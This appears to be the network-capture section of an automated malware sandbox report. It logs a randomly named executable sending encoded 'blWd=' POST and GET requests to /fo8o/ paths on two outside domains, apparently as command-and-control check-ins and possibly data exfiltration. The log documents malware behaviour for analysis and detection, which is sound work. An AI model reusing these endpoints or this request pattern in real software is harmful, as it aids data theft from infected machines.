Aug 2, 2024 13:51:13.270243883 CEST	1823	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.kasegitai.tokyo Origin: http://www.kasegitai.tokyo Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.kasegitai.tokyo/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 35 4a 6c 4b 4c 7a 61 4b 56 70 31 77 49 38 6e 70 39 55 49 68 6c 42 43 51 64 6e 62 6c 39 4b 6c 56 2b 79 55 57 5a 2f 75 56 2f 4a 35 72 6c 6a 6f 5a 6d 48 43 64 2b 54 35 32 6b 7a 57 62 39 67 42 4f 68 46 64 5a 6e 79 55 36 74 36 54 53 57 62 36 6d 72 77 56 38 35 2f 79 69 34 41 68 46 77 5a 4f 67 47 62 59 41 4c 67 51 6f 42 69 70 58 65 6c 51 46 39 48 64 63 37 4f 4f 6c 58 45 70 6b 39 6f 58 43 59 57 72 4b 67 41 35 63 4d 4b 74 7a 46 4e 50 43 55 47 6e 61 48 55 41 30 6a 4a 47 48 44 4f 4c 48 52 31 54 38 32 41 4e 65 68 4c 45 2f 41 56 6c 75 46 42 62 61 65 6d 4f 43 67 30 6b 56 61 66 56 31 48 2b 4a 73 4b 6a 74 4a 72 59 4d 53 6f 77 58 6e 57 61 59 70 41 4c 64 62 4e 47 4e 35 33 62 32 47 63 2f 57 71 46 6a 52 35 78 62 6d 48 78 65 69 51 6f 32 45 61 62 30 4a 6f 6c 4f 46 4d 75 6f 33 2f 39 63 64 79 6e 30 6e 68 4e 4c 56 46 70 4e 72 4d 73 30 30 44 4e 56 7a 57 6d 4b 6c 30 63 58 52 55 4f 77 45 39 73 51 2b 4b 64 73 75 43 68 6e 52 64 44 34 34 7a 64 49 53 30 33 77 48 4a 62 32 66 58 6a 77 32 71 35 35 5a 56 4e 64 61 32 59 [TRUNCATED] Data Ascii: blWd=5JlKLzaKVp1wI8np9UIhlBCQdnbl9KlV+yUWZ/uV/J5rljoZmHCd+T52kzWb9gBOhFdZnyU6t6TSWb6mrwV85/yi4AhFwZOgGbYALgQoBipXelQF9Hdc7OOlXEpk9oXCYWrKgA5cMKtzFNPCUGnaHUA0jJGHDOLHR1T82ANehLE/AVluFBbaemOCg0kVafV1H+JsKjtJrYMSowXnWaYpALdbNGN53b2Gc/WqFjR5xbmHxeiQo2Eab0JolOFMuo3/9cdyn0nhNLVFpNrMs00DNVzWmKl0cXRUOwE9sQ+KdsuChnRdD44zdIS03wHJb2fXjw2q55ZVNda2YQVKohE7DA48Al1Ls1G3ckJ6bmm5PbIwFfYhhJWuqRqOccvvso1C25ZE+zb/G6GyONDu40a9xyZFOk1i5kdy6YOxF737AFW5aKBjciPwPW0lfXjqT0Plq9R2RUBktgloVMj6UEVo/s4tz9E1w1tDuaqqjxTRDx1w9YPE2wyQLLjYj3kUUHdbEK9Ptlc9VSB899BW1UKsT/FUeX5X4Hmd7t0Fa3B/YwGWpZnWZy06W065uXfCfSbry0czK10hWa/o6xXsyzfprP80Lb80p05H2FJjnUqKgnXBhSL7HNhS+puhii+dRg/FEaSbYVEfnXeXqoBcZoSDOQSeB8H8W/8IJc2L9Jq4BX+v/ztC8TXNo4vpDNIlyWuSR/jAh7tEGH9lWybVmlBeMYUyRUEFF2BeH3xTaX0FToHkjxiNc5qeYFMxZiB0uRimlRoC1pjAwFzK1HLPvYcB+fcIHq7pJus/IF5FTHnh0/1YNBx5Tmxc9KEm3KwEOXF38bFvpfQ99mYj7Iv2xoKFdgn8Tafw6J0/+SUE2Cu5zYMn+MRNkWvvI/wAMSGlvEeuGhVBXfjl6/XENY5J9R3ySB1FZm3HoIxSmCcNBbCXxfTRQolJR9U5BtM8ic4+eMzC6ktGQm08oL8AzrPZkz7c+lX7TGvvMs3JAF9ov75UC6MHOhE [TRUNCATED]
Aug 2, 2024 13:51:13.877974033 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:51:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 38 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 ff 73 13 c7 15 ff 59 fe 2b 96 9b 0e 27 25 a7 3b db 80 6b 6c 9d 18 08 38 d0 42 48 8b 33 6d c7 e3 61 56 ba d5 dd da 7b b7 e2 6e 25 59 31 cc f8 4e 84 f2 2d 85 36 2d 9d 90 74 12 1a 9a b4 74 06 3a 0d ed b4 c1 0d ff 4b 17 19 f8 89 7f a1 6f ef 24 eb 8b 4d 48 a6 f9 c1 a7 db dd b7 9f f7 de e7 bd dd 7b cf 13 a5 3d 0e af 8a 76 9d 20 4f f8 ac 3c 51 52 3f 88 e1 c0 b5 b5 95 ba a6 26 08 76 ca 13 b9 92 4f 04 46 55 0f 87 11 11 b6 f6 ce e2 42 71 56 db 9e 0f b0 4f 6c ad 49 49 ab ce 43 a1 a1 2a 0f 04 09 40 ae 45 1d e1 d9 0e 69 d2 2a 29 a6 03 03 d1 80 0a 8a 59 31 aa 62 46 ec 29 03 f9 78 8d fa 0d 7f 30 d1 88 48 98 8e 70 05 26 02 9e 2a 12 54 30 52 de 3f b9 0f 2d f0 b0 42 1d 87 04 25 2b 9b 84 55 46 83 55 14 12 66 6b 91 68 33 12 79 84 80 1d ca 33 5b 13 64 4d 58 d5 28 d2 90 17 92 9a ad 59 a9 88 a9 66 d4 d6 3d c5 e2 b0 17 21 af 70 11 0d f9 10 70 1a 38 64 4d 43 56 b9 58 ec 6d 58 a2 35 e4 0a 82 4e 1c 43 07 97 d5 5c 0a 39 ae 0f 16 72 a6 1b 62 87 02 10 5a 87 51 ae 46 99 20 e1 1c [TRUNCATED] Data Ascii: 831XsY+'%;kl8BH3maV{n%Y1N-6-tt:Ko$MH{=v O<QR?&vOFUBqVOlIIC@Ei)Y1bF)x0Hp&T0R?-B%+UFUfkh3y3[dMX(Yf=!pp8dMCVXmX5NC\9rbZQF x@aIH)Bor"v)`(".Z#\|p`-/->7HK" M0v.\&Qv1F\|X\|TX\6&r+ Pd`p>${t}~Q;"lDahZfVf!}a5CPwIHqxH+F_([AjCfy1dxx0q(EX,%+;&i.UFUWW+&m>l(KH 2V;M<B]\|RCYUoi>C:4W4hy%+3^f(kVkJ:%]^i'(t@<853;;;GMuBjpUww7y`02!@>vn(R"J41Nz)hOoWT>~S$+RlIogQ)[qLR\ md@nsEv\|)O/^=(7R%,s\|!; [TRUNCATED]
Aug 2, 2024 13:51:13.878010988 CEST	1078	IN	Data Raw: 75 0b b6 3d d8 35 d6 c0 4c 83 14 1d 0e 11 0c d2 4c f5 b9 83 19 33 eb 5e 7d 67 08 d3 eb 3d e0 35 ce 18 6f 81 67 f1 07 32 06 fb ae c8 f8 1a 3c bb 77 af 6c 7d f4 50 76 1e c1 73 eb d6 df 54 1c 64 f2 9b 67 77 ae cb f8 33 19 7f 2e e3 1b 32 fe 54 c6 bf Data Ascii: u=5LL3^}g=5og2<wl}PvsTdgw3.2TEeu__0(:V!qFT8&][' gnl0q!^]gVY9,o]y[O[E2$.2RP!z2y G2C2RKR;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49726	52.25.92.0	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:15.802732944 CEST	526	OUT	GET /fo8o/?blWd=0LNqIGaAWMhMIMLJ2VJjkgaiCF/+7LEr9lFre+yu3/9GvRNYi1uHmkVftE7qrB4Q/AkDmlcR4eDvWrml8CJ8ssmc93kihOWHWb8NTA0vbQpCHGBmxgdm5sPEbG1Wvor0LSPPjnI=&Ixe=Apq4tPPXNdTp2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.kasegitai.tokyo Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:51:16.663819075 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 30 64 33 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 70 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 09 3c 21 2d 2d 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 39 5d 3e 0a 09 3c 73 74 [TRUNCATED] Data Ascii: 10d3<!doctype html><html lang="jp"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>403 Forbidden</title><link rel="stylesheet" type="text/css" href="/style.css">...<meta name="robots" content="noindex" />-->...[if gte IE 9]><style type="text/css">.gradient {filter: none;}</style><![endif]-->... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-MLXKCD66');</script>... End Google Tag Manager --></head>...<body class="blackboard">--><body class="tokyo1">... Google Tag Manager (noscript) --><noscript><iframe src="https://www.googletagmanager.com/ns.htm [TRUNCATED]
Aug 2, 2024 13:51:16.663844109 CEST	1236	IN	Data Raw: 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 20 45 6e 64 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e Data Ascii: yle="display:none;visibility:hidden"></iframe></noscript>... End Google Tag Manager (noscript) --><a href="https://www.colorfulbox.jp/?adref=nsexp_ad&argument=DLHtsrgz&dmai=a5b5a809168886" target="_blank" class="bnrLink"><img src="https:/
Aug 2, 2024 13:51:16.664000034 CEST	1236	IN	Data Raw: 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 5f 61 72 65 61 22 3e 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 61 6b 6b 6f 6d 61 2e 63 6f 6d 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 Data Ascii: <div class="img_area"><a href="https://rakkoma.com/" target="_blank"><img src="/img/rakko_img01.png" alt="M&A"></a><a href="https://rakkoma.com/" target="_blank"><img src="/img/rakko_img02.png" alt="
Aug 2, 2024 13:51:16.664016008 CEST	793	IN	Data Raw: 29 3b 0a 09 24 28 22 62 6f 64 79 20 68 65 61 64 65 72 22 29 2e 66 69 74 54 65 78 74 28 35 2e 36 2c 20 7b 20 6d 69 6e 46 6f 6e 74 53 69 7a 65 3a 20 27 38 70 78 27 2c 20 6d 61 78 46 6f 6e 74 53 69 7a 65 3a 20 27 32 34 70 78 27 20 7d 29 3b 0a 3c 2f Data Ascii: );$("body header").fitText(5.6, { minFontSize: '8px', maxFontSize: '24px' });</script>...[if lt IE 9]><script src="/FitText.js-master/html5.js"></script><![endif]--><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]
Aug 2, 2024 13:51:16.665667057 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:51:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 30 64 33 0d 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 70 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 09 3c 21 2d 2d 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 2f 3e 2d 2d 3e 0a 09 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 39 5d 3e 0a 09 3c 73 74 [TRUNCATED] Data Ascii: 10d3<!doctype html><html lang="jp"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>403 Forbidden</title><link rel="stylesheet" type="text/css" href="/style.css">...<meta name="robots" content="noindex" />-->...[if gte IE 9]><style type="text/css">.gradient {filter: none;}</style><![endif]-->... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-MLXKCD66');</script>... End Google Tag Manager --></head>...<body class="blackboard">--><body class="tokyo1">... Google Tag Manager (noscript) --><noscript><iframe src="https://www.googletagmanager.com/ns.htm [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49728	116.50.37.244	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:22.062978029 CEST	804	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.goldenjade-travel.com Origin: http://www.goldenjade-travel.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.goldenjade-travel.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 47 48 69 4b 78 65 34 51 36 56 68 4b 4b 65 73 4d 4c 77 6e 74 6b 63 45 31 2b 61 49 63 6f 52 36 64 71 4d 45 4c 35 73 65 2f 4a 2f 34 67 4d 70 64 73 71 50 73 32 2f 73 43 39 6a 37 30 39 63 4b 2f 45 2f 7a 69 79 36 4e 4a 44 48 74 37 63 4b 6f 54 4e 62 4e 2f 53 68 78 59 46 6f 58 49 44 71 59 6f 55 62 37 2b 37 47 5a 56 62 57 32 55 47 43 63 58 30 4a 68 4c 59 6e 5a 50 58 32 76 76 30 79 6f 5a 4c 72 4e 6b 43 44 61 4f 77 5a 50 65 6f 6b 33 6c 4c 70 2b 36 45 49 54 62 77 66 66 66 57 47 32 62 66 4f 4f 7a 42 6a 36 4a 36 37 6b 76 66 53 54 37 30 43 57 78 57 66 67 72 67 58 30 55 65 42 5a 37 65 4f 56 45 76 6b 57 45 76 75 30 41 64 Data Ascii: blWd=GHiKxe4Q6VhKKesMLwntkcE1+aIcoR6dqMEL5se/J/4gMpdsqPs2/sC9j709cK/E/ziy6NJDHt7cKoTNbN/ShxYFoXIDqYoUb7+7GZVbW2UGCcX0JhLYnZPX2vv0yoZLrNkCDaOwZPeok3lLp+6EITbwfffWG2bfOOzBj6J67kvfST70CWxWfgrgX0UeBZ7eOVEvkWEvu0Ad
Aug 2, 2024 13:51:22.977735996 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 02 Aug 2024 11:51:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49729	116.50.37.244	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:24.605706930 CEST	828	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.goldenjade-travel.com Origin: http://www.goldenjade-travel.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.goldenjade-travel.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 47 48 69 4b 78 65 34 51 36 56 68 4b 4c 2b 38 4d 59 48 7a 74 74 63 45 79 78 36 49 63 6a 78 36 42 71 4d 49 4c 35 70 6d 57 4a 4a 49 67 4e 4e 5a 73 74 39 55 32 79 4d 43 39 72 62 30 34 44 61 2f 4e 2f 79 65 36 36 4d 5a 44 48 74 76 63 4b 73 66 4e 62 64 44 56 77 78 59 62 68 33 49 42 6c 34 6f 55 62 37 2b 37 47 5a 41 4d 57 31 6b 47 43 73 6e 30 4a 45 6d 4f 75 35 50 55 78 76 76 30 6b 59 5a 50 72 4e 6b 67 44 5a 4b 4f 5a 4a 43 6f 6b 32 56 4c 70 76 36 4c 44 54 62 32 52 2f 65 78 50 57 71 70 45 38 71 52 6b 5a 74 32 71 6b 44 69 54 6c 36 75 65 6c 78 31 4e 77 4c 69 58 32 4d 73 42 35 37 30 4d 56 38 76 32 42 49 49 68 41 6c 2b 38 2b 42 70 78 61 52 6b 2f 44 62 30 6e 74 44 6e 41 5a 64 45 59 67 3d 3d Data Ascii: blWd=GHiKxe4Q6VhKL+8MYHzttcEyx6Icjx6BqMIL5pmWJJIgNNZst9U2yMC9rb04Da/N/ye66MZDHtvcKsfNbdDVwxYbh3IBl4oUb7+7GZAMW1kGCsn0JEmOu5PUxvv0kYZPrNkgDZKOZJCok2VLpv6LDTb2R/exPWqpE8qRkZt2qkDiTl6uelx1NwLiX2MsB570MV8v2BIIhAl+8+BpxaRk/Db0ntDnAZdEYg==
Aug 2, 2024 13:51:25.497365952 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Fri, 02 Aug 2024 11:51:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49730	116.50.37.244	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:27.144884109 CEST	1841	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.goldenjade-travel.com Origin: http://www.goldenjade-travel.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1245 Referer: http://www.goldenjade-travel.com/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 47 48 69 4b 78 65 34 51 36 56 68 4b 4c 2b 38 4d 59 48 7a 74 74 63 45 79 78 36 49 63 6a 78 36 42 71 4d 49 4c 35 70 6d 57 4a 4a 41 67 4e 34 4e 73 75 63 55 32 7a 4d 43 39 30 72 30 35 44 61 2b 4e 2f 7a 32 32 36 4d 56 54 48 75 58 63 4c 4a 44 4e 4d 2f 6e 56 70 68 59 62 73 58 49 41 71 59 70 4f 62 36 4f 2f 47 5a 51 4d 57 31 6b 47 43 75 2f 30 50 52 4b 4f 6f 35 50 58 32 76 76 6f 79 6f 59 53 72 4e 38 4b 44 59 2f 37 5a 2f 79 6f 71 31 74 4c 73 64 43 4c 4f 54 62 30 53 2f 65 70 50 57 6d 36 45 38 6d 64 6b 59 49 62 71 6e 66 69 65 30 2f 78 4c 78 78 5a 52 42 6e 6e 4f 6d 38 30 5a 50 75 46 57 32 35 57 38 33 63 2f 75 7a 74 41 38 6f 49 79 36 5a 78 35 31 51 37 47 6b 34 53 59 56 49 68 50 49 33 76 65 67 37 42 74 6a 76 48 74 63 6e 51 35 58 36 36 46 6f 2f 61 42 35 66 75 57 45 4f 78 51 32 58 67 70 56 6f 63 78 76 32 57 77 2b 4b 4d 2b 33 71 61 42 6f 69 6c 59 36 74 46 42 74 67 56 56 49 78 73 33 66 6b 30 51 50 58 72 61 68 39 70 4c 53 54 37 41 78 58 65 4c 63 70 74 74 44 61 36 75 65 43 48 54 68 55 66 34 45 37 54 4a 49 [TRUNCATED] Data Ascii: blWd=GHiKxe4Q6VhKL+8MYHzttcEyx6Icjx6BqMIL5pmWJJAgN4NsucU2zMC90r05Da+N/z226MVTHuXcLJDNM/nVphYbsXIAqYpOb6O/GZQMW1kGCu/0PRKOo5PX2vvoyoYSrN8KDY/7Z/yoq1tLsdCLOTb0S/epPWm6E8mdkYIbqnfie0/xLxxZRBnnOm80ZPuFW25W83c/uztA8oIy6Zx51Q7Gk4SYVIhPI3veg7BtjvHtcnQ5X66Fo/aB5fuWEOxQ2XgpVocxv2Ww+KM+3qaBoilY6tFBtgVVIxs3fk0QPXrah9pLST7AxXeLcpttDa6ueCHThUf4E7TJI6J0begpvdJJcJDMI7f9ZZvplcBtpJFkNRdcTUOp8UhyoQzN3uRn068E7b8T3fWdLG9xYgp1jaiB4QpVWhwWcgek2BPOP8VpQEsmp/aDoZQTnrp54Hp/Mz08dCnVpVz3UHzmev89AuG9CmN+dbrlVUt6LQQY6s3P8m0frWTXfkLTpcQVpCpvC0S/C+Ksq48VMlvhGhD56zinvfxhkCYTpVQzisTzii5ItAaAWzu7x2pD0AbLVYN4RZJo40N4oftACttlMTTbK/tkbduINwDrKC5GB1El2qE4KpU95OIfm4uqZGt2pOu77F0rioMP+LO43oShjrJy02G5PqBZhRSLFLg9JBha1JlR98tj/YPg9nYCHaYpZcse4vZQQuha+fUtHvDtsDkkAbaid5otVHEYxGOhPD/6OwgxWPuX3yyxek4UDhtumKvbvtYC552ZLFYKSsziJLU3oUdUuGszAt0tkWFwApTIJ+cHgNSqzRv6mL+TH8VAfBAkXPQnCgyvc81hxT5sdh8TkYQm6BCAWAVGAaVTkuED+LfGlGqaMnYmgC6CZZMRIBw+GzlpkVeS